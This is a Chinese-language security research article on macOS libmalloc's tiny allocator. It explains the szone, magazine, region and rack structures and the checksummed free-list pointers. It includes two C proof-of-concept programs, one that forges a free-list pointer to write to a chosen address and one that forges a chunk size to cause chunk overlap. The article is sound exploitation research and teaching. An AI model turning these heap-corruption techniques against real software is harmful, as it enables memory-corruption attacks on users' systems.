macOS libmalloc 堆利用之一:Tiny 篇
Posted 星阑科技
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了macOS libmalloc 堆利用之一:Tiny 篇相关的知识,希望对你有一定的参考价值。
MacOS 的堆管理结构采用的是 libmalloc,苹果公司也将这部分源代码进行了开源 。在 Angelboy 大神制作过的 Slide 的讲解基础上,本文通过源码和 poc,对 libmalloc 的一些基本原理和内容,以及一些相关的可利用技巧进行详细的阐述与说明。
正如 ptmalloc 的 fastbin、smallbin、unsorted bin 等一样,根据申请和释放的内存的不同的大小,libmalloc也进行了不同的匹配模式,分别为tiny、small、large。所以,第一篇文章主要是将详细介绍libmalloc的tiny机制,以及tiny的相关利用技巧。
本文涉及的 POC 代码等相关内容,可以在星阑科技的 Github 仓库[1]和研究组博客[2] 中找到,欢迎关注和 Star!
[1] https://github.com/StarCross-Tech/
[2] https://research.starcross.cn/
首先要对一些基础知识进行扫盲,因为libmalloc的操作里用到的结构体很多,所以刚接触起来会有些乱。这里我并不会对每个结构体进行过于详细的剖析,只介绍一下接下来可能会需要用到的成员的含义。可以把基础这部分作为一个字典,后续行文之中如果出现一些疑惑,可以再回到这里来寻找想要的答案。
Tiny和small内存之中的可以申请的最小单位quantum,大小为0x10字节,在源代码中其实也用block来表示。正如你在ptmalloc中执行malloc(1),也不会直接分配给你1字节一样。而且不同的是,libmalloc中申请出来的堆块是不存在头部数据的。
所以在libmalloc中的堆快,记录其size信息的并不是像ptmalloc的以字节为单位的size,而是以quantum为单位的msize。
Szone 是整个内存管理的核心结构,记录着内存管理中其余各种关键结构体的指针和s相关信息,不需要做太深入的了解。
https://opensource.apple.com/source/libmalloc/libmalloc-283.40.1/src/magazine_zone.h.auto.html
typedef struct szone_s { // vm_allocate()'d, so page-aligned to begin with.
malloc_zone_t basic_zone; // first page will be given read-only protection
uint8_t pad[PAGE_MAX_SIZE - sizeof(malloc_zone_t)];
unsigned long cpu_id_key; // unused
// remainder of structure is R/W (contains no function pointers)
unsigned debug_flags;
void *log_address;
/* Allocation racks per allocator type. */
struct rack_s tiny_rack;
struct rack_s small_rack;
struct rack_s medium_rack;
/* large objects: all the rest */
_malloc_lock_s large_szone_lock MALLOC_CACHE_ALIGN; // One customer at a time for large
unsigned num_large_objects_in_use;
unsigned num_large_entries;
large_entry_t *large_entries; // hashed by location; null entries don't count
size_t num_bytes_in_large_objects;
#if CONFIG_LARGE_CACHE
int large_entry_cache_oldest;
int large_entry_cache_newest;
large_entry_t large_entry_cache[LARGE_ENTRY_CACHE_SIZE_HIGH]; // "death row" for large malloc/free
int large_cache_depth;
size_t large_cache_entry_limit;
boolean_t large_legacy_reset_mprotect;
size_t large_entry_cache_reserve_bytes;
size_t large_entry_cache_reserve_limit;
size_t large_entry_cache_bytes; // total size of death row, bytes
#endif
/* flag and limits pertaining to altered malloc behavior for systems with
* large amounts of physical memory */
bool is_medium_engaged;
/* security cookie */
uintptr_t cookie;
/* The purgeable zone constructed by create_purgeable_zone() would like to hand off tiny and small
* allocations to the default scalable zone. Record the latter as the "helper" zone here. */
struct szone_s *helper_zone;
boolean_t flotsam_enabled;
} szone_t;
Malloc_zont_t 是一个vtable,里面存储着malloc、free、calloc各种负责垃圾回收的函数的指针的一个结构体。
https://opensource.apple.com/source/libmalloc/libmalloc-283.40.1/include/malloc/malloc.h.auto.html
typedef struct _malloc_zone_t {
/* Only zone implementors should depend on the layout of this structure;
Regular callers should use the access functions below */
void *reserved1; /* RESERVED FOR CFAllocator DO NOT USE */
void *reserved2; /* RESERVED FOR CFAllocator DO NOT USE */
size_t (* MALLOC_ZONE_FN_PTR(size))(struct _malloc_zone_t *zone, const void *ptr); /* returns the size of a block or 0 if not in this zone; must be fast, especially for negative answers */
void *(* MALLOC_ZONE_FN_PTR(malloc))(struct _malloc_zone_t *zone, size_t size);
void *(* MALLOC_ZONE_FN_PTR(calloc))(struct _malloc_zone_t *zone, size_t num_items, size_t size); /* same as malloc, but block returned is set to zero */
void *(* MALLOC_ZONE_FN_PTR(valloc))(struct _malloc_zone_t *zone, size_t size); /* same as malloc, but block returned is set to zero and is guaranteed to be page aligned */
void (* MALLOC_ZONE_FN_PTR(free))(struct _malloc_zone_t *zone, void *ptr);
void *(* MALLOC_ZONE_FN_PTR(realloc))(struct _malloc_zone_t *zone, void *ptr, size_t size);
void (* MALLOC_ZONE_FN_PTR(destroy))(struct _malloc_zone_t *zone); /* zone is destroyed and all memory reclaimed */
const char *zone_name;
/* Optional batch callbacks; these may be NULL */
unsigned (* MALLOC_ZONE_FN_PTR(batch_malloc))(struct _malloc_zone_t *zone, size_t size, void **results, unsigned num_requested); /* given a size, returns pointers capable of holding that size; returns the number of pointers allocated (maybe 0 or less than num_requested) */
void (* MALLOC_ZONE_FN_PTR(batch_free))(struct _malloc_zone_t *zone, void **to_be_freed, unsigned num_to_be_freed); /* frees all the pointers in to_be_freed; note that to_be_freed may be overwritten during the process */
struct malloc_introspection_t * MALLOC_INTROSPECT_TBL_PTR(introspect);
unsigned version;
/* aligned memory allocation. The callback may be NULL. Present in version >= 5. */
void *(* MALLOC_ZONE_FN_PTR(memalign))(struct _malloc_zone_t *zone, size_t alignment, size_t size);
/* free a pointer known to be in zone and known to have the given size. The callback may be NULL. Present in version >= 6.*/
void (* MALLOC_ZONE_FN_PTR(free_definite_size))(struct _malloc_zone_t *zone, void *ptr, size_t size);
/* Empty out caches in the face of memory pressure. The callback may be NULL. Present in version >= 8. */
size_t (* MALLOC_ZONE_FN_PTR(pressure_relief))(struct _malloc_zone_t *zone, size_t goal);
/*
* Checks whether an address might belong to the zone. May be NULL. Present in version >= 10.
* False positives are allowed (e.g. the pointer was freed, or it's in zone space that has
* not yet been allocated. False negatives are not allowed.
*/
boolean_t (* MALLOC_ZONE_FN_PTR(claimed_address))(struct _malloc_zone_t *zone, void *ptr);
} malloc_zone_t;
Region是内存分配池,tiny_region顾名思义就是tiny堆块的内存分配池嘛。里面有好多quantum单位,就是里面的block,我们申请的内存其实都是从这里给我们分配出来的。
类比于ptmalloc来说,可以简单类比成topchunk。
其尾部都是一些bitmap结构,为了快速查询其中各部分内存的大小和使用情况,以便加速内存申请时的查询过程。
https://opensource.apple.com/source/libmalloc/libmalloc-283.40.1/src/magazine_zone.h.auto.html
typedef struct tiny_header_inuse_pair {
uint32_t header;
uint32_t inuse;
} tiny_header_inuse_pair_t;
typedef struct {
// Block indices are +1 so that 0 represents no free block.
uint16_t first_block;
uint16_t last_block;
} region_free_blocks_t;
typedef struct region_trailer {
uint32_t region_cookie;
volatile int32_t pinned_to_depot;
struct region_trailer *prev;
struct region_trailer *next;
boolean_t recirc_suitable;
unsigned bytes_used;
unsigned objects_in_use; // Used only by tiny allocator.
mag_index_t mag_index;
} region_trailer_t;
typedef struct tiny_region {
tiny_block_t blocks[NUM_TINY_BLOCKS];
region_trailer_t trailer;
// The interleaved bit arrays comprising the header and inuse bitfields.
// The unused bits of each component in the last pair will be initialized to sentinel values.
tiny_header_inuse_pair_t pairs[CEIL_NUM_TINY_BLOCKS_WORDS];
// Indices of the first and last free block in this region. Value is the
// block index + 1 so that 0 indicates no free block in this region for the
// corresponding slot.
region_free_blocks_t free_blocks_by_slot[NUM_TINY_SLOTS];
uint8_t pad[TINY_REGION_PAD];
} * tiny_region_t;
Magazine 可以类比为glibc里面的arena结构。它的作用是用来管理堆的各种情况。
Magazine 有一层缓存结构,用来存储最新被free的ptr的各种信息。因为这种cache是直接记录 free 的 ptr 信息的,属于一种伪free操作,所以申请出来的时候不需要 unlink 操作,可以提升一些速度。但是必须满足 msize 完全相同才会将 cache 中的 ptr 返回,而不会发生从其中切取一部分内存的情况。
Magazine 有记录 free 情况的双向链表形式的free_list,但是这个双向链表不是循环双向链表。
Magazine 和 region 在内存分布上是彼此分离的,这样原语信息记录在magazine上,region只在过程中充当一个topchunk的功能,为了在某种程度上防止堆溢出吧。
https://opensource.apple.com/source/libmalloc/libmalloc-166.251.2/src/magazine_zone.h.auto.html
typedef struct magazine_s { // vm_allocate()'d, so the array of magazines is page-aligned to begin with.
// Take magazine_lock first, Depot lock when needed for recirc, then szone->{tiny,small}_regions_lock when needed for alloc
_malloc_lock_s magazine_lock MALLOC_CACHE_ALIGN;
// Protection for the crtical section that does allocate_pages outside the magazine_lock
volatile boolean_t alloc_underway;
// One element deep "death row", optimizes malloc/free/malloc for identical size.
void *mag_last_free;
msize_t mag_last_free_msize; // msize for mag_last_free
#if MALLOC_TARGET_64BIT
uint32_t _pad;
#endif
region_t mag_last_free_rgn; // holds the region for mag_last_free
free_list_t mag_free_list[MAGAZINE_FREELIST_SLOTS];
uint32_t mag_bitmap[MAGAZINE_FREELIST_BITMAP_WORDS];
// the first and last free region in the last block are treated as big blocks in use that are not accounted for
size_t mag_bytes_free_at_end;
size_t mag_bytes_free_at_start;
region_t mag_last_region; // Valid iff mag_bytes_free_at_end || mag_bytes_free_at_start > 0
// bean counting ...
size_t mag_num_bytes_in_objects;
size_t num_bytes_in_magazine;
unsigned mag_num_objects;
// recirculation list -- invariant: all regions owned by this magazine that meet the emptiness criteria
// are located nearer to the head of the list than any region that doesn't satisfy that criteria.
// Doubly linked list for efficient extraction.
unsigned recirculation_entries;
region_trailer_t *firstNode;
region_trailer_t *lastNode;
#if MALLOC_TARGET_64BIT
uintptr_t pad[320 - 14 - MAGAZINE_FREELIST_SLOTS -
(MAGAZINE_FREELIST_BITMAP_WORDS + 1) / 2];
#else
uintptr_t pad[320 - 16 - MAGAZINE_FREELIST_SLOTS -
MAGAZINE_FREELIST_BITMAP_WORDS];
#endif
} magazine_t;
Rack 负责对magazine进行管理,我们需要知道的其最大的作用实际上是有cookie,负责对该rack区域的各种ptr做checksum的时候需要用到。
https://opensource.apple.com/source/libmalloc/libmalloc-283.40.1/src/magazine_rack.h.auto.html
typedef struct rack_s {
/* Regions for tiny objects */
_malloc_lock_s region_lock MALLOC_CACHE_ALIGN;
rack_type_t type;
size_t num_regions;
size_t num_regions_dealloc;
region_hash_generation_t *region_generation;
region_hash_generation_t rg[2];
region_t initial_regions[INITIAL_NUM_REGIONS];
int num_magazines;
unsigned num_magazines_mask;
int num_magazines_mask_shift;
uint32_t debug_flags;
// array of per-processor magazines
magazine_t *magazines;
uintptr_t cookie;
uintptr_t last_madvise;
} rack_t;
https://opensource.apple.com/source/libmalloc/libmalloc-283.40.1/src/magazine_tiny.c.auto.html
函数位置为free_tiny。根据free的ptr,定位到其对应的region和magazine,重点要关注magazine结构中的这三个成员:
void *mag_last_free;
msize_t mag_last_free_msize; // msize for mag_last_free
region_t mag_last_free_rgn; // holds the region for mag_last_free
这实际上是一层缓存结构,初始化之后是空的。源代码中可以看到做了简单的防止double free的检测。最新被free的ptr,和ptr的msize信息,以及对应的region信息,会存储在这三个字段。
所以在分析libmalloc的机制的时候,要始终记住这个有些奇怪的思维,那就是最新free的操作都会被进行cache相关处理而,然后上一次被free操作的堆块才会在此时进行真正的关于free_list的操作。
当有新的ptr被free之后,这个缓存结构的所有会被新的ptr进行相应的更新,原来在缓存结构中ptr才会进入到下一阶段关于free_list之中。
之后从缓存结构中提取出来的ptr和相关信息,才会进入到下一步tiny_free_no_lock之中。在这个函数里,free的ptr会根据msize计算出前后的内存的状态,然后进行前向合并以及后向合并。合并之后根据新堆块ptr的msize,将ptr放入到新的对应的freelist中。
这里会对需要合并的堆块ptr做tiny_free_list_remove_ptr的操作,相当于ptmalloc中的unlink的操作,而且是有严格的前后指针检测版本的unlink。
还有需要注意的就是,它们的fd和bk并不是原始的fd和bk,而是做了checksum和unchecksum处理的指针,这里就用到了rack中的cookie。对应的checksum和unchecksum函数如下:
static MALLOC_INLINE uintptr_t
free_list_checksum_ptr(rack_t *rack, void *ptr)
{
uintptr_t p = (uintptr_t)ptr;
return (p >> NYBBLE) | ((free_list_gen_checksum(p ^ rack->cookie) & (uintptr_t)0xF) << ANTI_NYBBLE); // compiles to rotate instruction
}
static MALLOC_INLINE void *
free_list_unchecksum_ptr(rack_t *rack, inplace_union *ptr)
{
inplace_union p;
uintptr_t t = ptr->u;
t = (t << NYBBLE) | (t >> ANTI_NYBBLE); // compiles to rotate instruction
p.u = t & ~(uintptr_t)0xF;
if ((t ^ free_list_gen_checksum(p.u ^ rack->cookie)) & (uintptr_t)0xF) {
free_list_checksum_botch(rack, ptr, (void *)ptr->u);
__builtin_trap();
}
return p.p;
}
这里unchecksum出现问题可是会直接报错退出的。合并之后,会把原来已经存在于free_list之中的堆块从对应的free_list中移除,然后又会通过tiny_free_list_add_ptr来把合并处理之后新的ptr加入到对应的freelist之中。
这里简单分析一下tiny free的流程,主要是为了对整个流程心中有数,对其中一些结构的作用有一些印象。libmalloc的free显然不是一个好的攻击面,从源代码中存在的一些检测中就可以大致看出,double free和house of spirit这两条路基本都被堵死了。
这里其实可以注意到,经过checksum操作之后的cookie值,实际上只有高位4bit,1/16的爆破概率,给了我们无尽的可利用空间。
https://opensource.apple.com/source/libmalloc/libmalloc-283.40.1/src/magazine_tiny.c.auto.html
首先,小于等于1008B的动态内存申请的请求,都会来到tiny的过程中。
其核心函数可以直接来到``tiny_malloc_should_clear`
会先去比较请求的size转化得到其对应的msize,再去和缓存结构中的msize是否相同,相同则直接把缓存结构中的ptr返回即可,再将缓存信息全部清空,即可完成操作。
如果缓存结构的msize不满足条件,那么就会进入到free_list中搜寻,关键函数为tiny_malloc_from_free_list,这里会根据msize找到对应的freelist,找到则直接则返回对应的freelist的第一个元素,之后对应的next元素的原语会进行对应的更新。这里针对previouse和next指针的操作都会进行unchecksum的处理,处理出错程序就会报错退出,这也是libmalloc在缓解堆溢出所做出的策略。
而如果没有msize刚好可以对应的freelist,则会从最接近msize的最适合的freelist的位置提取,然后进行切割,满足的部分返还给用户的请求,之后切割后的剩余部分再放到满足新的msize条件的free_list之中。
如果上述机制依然找不到msize合适的freelist,那么就会从region的最后一块进行切割,相当于在topchunk上做切割。
* 值得一提的是,最新版本的libmalloc的结构体发生了一些变化,可能做了更严格的检测,暂时没进行深入的探究。
ptr = free_list->p;
if (ptr) {
next = free_list_unchecksum_ptr(rack, &ptr->next);
free_list->p = next;
if (next) {
next->previous = ptr->previous;
} else {
BITMAPV_CLR(tiny_mag_ptr->mag_bitmap, slot);
}
this_msize = get_tiny_free_size(ptr);
goto add_leftover_and_proceed;
}
next->previous = ptr->previous;
uint64_t victim = 0x1234;
int main(int argc, const char * argv[]) {
void *p1,*p2,*p3,*p4,*p5;
p1 = malloc(0x20);
p2 = malloc(0x20);
p3 = malloc(0x20);
p4 = malloc(0x20);
p5 = malloc(0x30);
printf("victim address: %p, victim's value: 0x%lx ", &victim, victim);
free(p1);
free(p3);
free(p5);
printf("%p and %p will be freed in freelist ", p1, p3);
printf("%p will be freed in cache ", p5);
printf("%p's data is: [%p, %p, %p, %p] ", p1, *(uint64_t*)p1 ,*(uint64_t*)(p1+8), *(uint64_t*)(p1+0x10), *(uint64_t*)(p1+0x18));
printf("%p's data is: [%p, %p, %p, %p] ", p3, *(uint64_t*)p3 ,*(uint64_t*)(p3+8), *(uint64_t*)(p3+0x10), *(uint64_t*)(p3+0x18));
*(uint64_t*)p3 = 0xdeadbeef;
uint32_t checksum = *(uint32_t*)(p3+8+4);
printf("checksum: %p ", checksum>>28);
*(uint64_t*)(p3+8) = ((uint64_t)&victim>>4);
*(uint32_t*)(p3+8+4) = checksum;
printf("%p's data is: [%p, %p, %p, %p] ", p3, *(uint64_t*)p3 ,*(uint64_t*)(p3+8), *(uint64_t*)(p3+0x10), *(uint64_t*)(p3+0x18));
printf("malloc 0x20 to trigger attack. ");
malloc(0x20);
printf("after attack, victim address: %p, victim's value: 0x%lx ", &victim, victim);
return 0;
}
next_msize = get_tiny_free_size(next_block);
// ...
tiny_free_list_remove_ptr(rack, tiny_mag_ptr, next_block, next_msize);
set_tiny_meta_header_middle(next_block);
msize += next_msize;
之后还有一些代码,就是把合并后新的chunk根据新计算出的msize重新放入到对应的free_list之中。
int main(int argc, const char * argv[]) {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
void *p1,*p2,*p3,*p4,*p5;
p1 = malloc(0x30);
p2 = malloc(0x50);
p3 = malloc(0x40);
p4 = malloc(0x20);
free(p2);
free(p4);
printf("%p's data is: [%p, %p, %p, %p] ", p2, *(uint64_t*)p2 ,*(uint64_t*)(p2+8), *(uint64_t*)(p2+0x10), *(uint64_t*)(p2+0x18));
*(uint64_t*)p2 = 0;
*(uint64_t*)(p2+8) = 0;
*(uint8_t*)(p2+0x10) = 0x9;
printf("change %p's msize ", p2);
printf("%p's data is: [%p, %p, %p, %p] ", p2, *(uint64_t*)p2 ,*(uint64_t*)(p2+8), *(uint64_t*)(p2+0x10), *(uint64_t*)(p2+0x18));
free(p1);
free(p3);
printf("free %p to cache, free %p to free_list ", p3, p1);
void* t1 = malloc(0xc0);
printf("use %p to trigger chunk overlap. ", t1);
void* t2 = malloc(0x40);
printf("get pointer %p from cache ", t2);
*(uint64_t*)t2 = 0x1234;
printf("%p's data: %p ", t2, *(uint64_t*)t2);
*(uint64_t*)(t1+0x80) = 0xdeadbeef;
printf("use %p chunk overlap to change %p's data ", t1, t2);
printf("after overlap, %p's data: %p ", t2, *(uint64_t*)t2);
return 0;
}
北京星阑科技有限公司(简称星阑科技)是一家以安全技术为核心、AI技术为驱动的网络安全科技公司,致力于提供高级攻防服务和智能化网络安全解决方案,以应对政府、企业所面临的日益严峻的网络安全威胁,让网络空间更加安全与智慧。
目前,星阑科技提供攻防对抗、APT防御、高级渗透等安全服务,为客户全面梳理威胁矩阵、进行安全赋能。产品包括攻击诱捕系统、邮件攻击一体化系统、基于前沿的图神经网络的智能边界防护引擎以及AI自动化漏洞挖掘系统,能全面提升客户的安全防护能力并有效降低安全运维成本。
关注星阑科技
获取更多安全咨询
以上是关于macOS libmalloc 堆利用之一:Tiny 篇的主要内容,如果未能解决你的问题,请参考以下文章
MacOS上的顶栏效率工具最强没有之一:Hammerspoon